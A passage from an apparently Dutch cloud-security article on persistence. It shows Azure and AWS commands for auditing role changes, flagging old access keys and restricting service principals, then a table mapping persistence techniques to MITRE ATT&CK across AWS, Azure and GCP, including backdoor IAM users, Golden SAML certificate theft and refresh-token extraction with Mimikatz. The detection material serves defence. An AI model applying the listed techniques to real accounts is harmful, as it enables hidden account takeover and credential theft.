| jq '.value[] | {activity: .activityDisplayName, time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName}'
# Monitor role assignments
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add member to role'&\$top=50" \
| jq '.value[] | {time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName, target: .targetResources[0].displayName}'Access Key Rotation
# Forceer access key rotation met een maximum leeftijd
# Script: vind en rapporteer oude access keys
aws iam generate-credential-report
aws iam get-credential-report --query Content --output text | base64 -d | \
awk -F',' 'NR>1 {
if ($9 == "true" && $10 != "N/A") {
split($10, a, "T");
print "User: "$1, "Key 1 last rotated:", a[1]
}
if ($14 == "true" && $15 != "N/A") {
split($15, a, "T");
print "User: "$1, "Key 2 last rotated:", a[1]
}
}'
# Deactiveer keys ouder dan 90 dagen
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
for key in $(aws iam list-access-keys --user-name "$user" --query 'AccessKeyMetadata[?Status==`Active`].AccessKeyId' --output text); do
created=$(aws iam list-access-keys --user-name "$user" --query "AccessKeyMetadata[?AccessKeyId=='$key'].CreateDate" --output text)
age=$(( ($(date +%s) - $(date -d "$created" +%s)) / 86400 ))
if [ "$age" -gt 90 ]; then
echo "ALERT: $user has key $key that is $age days old"
# aws iam update-access-key --user-name "$user" --access-key-id "$key" --status Inactive
fi
done
doneConditional Access
# Azure: Conditional Access policy die service principal access beperkt
az rest --method POST \
--url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
--body '{
"displayName": "Restrict service principal locations",
"state": "enabled",
"conditions": {
"clientApplications": {
"includeServicePrincipals": ["All"]
},
"locations": {
"includeLocations": ["All"],
"excludeLocations": ["KNOWN_IP_RANGES"]
}
},
"grantControls": {
"operator": "OR",
"builtInControls": ["block"]
}
}'Referentietabel
| Techniek | MITRE ATT&CK | AWS | Azure | GCP |
|---|---|---|---|---|
| Extra access keys | T1098.001 - Additional Cloud Credentials | iam:CreateAccessKey |
App credential addition | Service account key creation |
| Backdoor IAM user/role | T1136.003 - Cloud Account | iam:CreateUser, iam:CreateRole |
az ad user create |
gcloud iam service-accounts create |
| Trust policy manipulation | T1484.002 - Trust Modification | iam:UpdateAssumeRolePolicy |
External identity providers | Workload Identity pool trust |
| OAuth app registration | T1098.003 - Additional Cloud Roles | SAML/OIDC provider | App Registration + consent | OAuth2 client credentials |
| Compute startup scripts | T1059 - Command and Scripting | EC2 User Data | VM Extensions | GCE startup-script |
| Launch template poisoning | T1525 - Implant Internal Image | ec2:CreateLaunchTemplateVersion |
VMSS model update | Instance template modification |
| Scheduled Lambda trigger | T1053.007 - Container Orchestration Job | EventBridge + Lambda | Automation Runbooks | Cloud Scheduler + Functions |
| Storage event trigger | T1546 - Event Triggered Execution | S3 notifications + Lambda | Blob trigger + Function | GCS notification + Function |
| DNS record manipulation | T1584.002 - DNS Server | Route53 record sets | Azure DNS records | Cloud DNS records |
| Subdomain takeover | T1584.001 - Domains | Dangling S3/EB CNAMEs | Dangling Azure CNAMEs | Dangling GCP CNAMEs |
| Golden SAML | T1606.002 - SAML Tokens | SAML IdP certificate theft | ADFS signing cert theft | SAML IdP compromise |
| Refresh token persistence | T1550.001 - Application Access Token | Cognito refresh tokens | Azure AD refresh tokens | Google OAuth refresh tokens |
| Lifecycle policy abuse | T1053.007 - Container Orchestration Job | S3 Lifecycle + notifications | Blob lifecycle + triggers | GCS lifecycle + notifications |
| Cross-account role backdoor | T1098.003 - Additional Cloud Roles | Cross-account trust policy | Lighthouse delegation | Cross-project SA impersonation |
| Automation runbook | T1053.005 - Scheduled Task | Lambda + EventBridge | Automation Account + Runbook | Cloud Scheduler job |
| Primary Refresh Token theft | T1528 - Steal Application Access Token | N/A | PRT extraction (Mimikatz) | N/A |
De beste persistentie is de persistentie die er uitziet als een feature. En in de cloud is het verschil tussen een feature en een backdoor vaak niet meer dan de intentie van degene die het heeft geconfigureerd.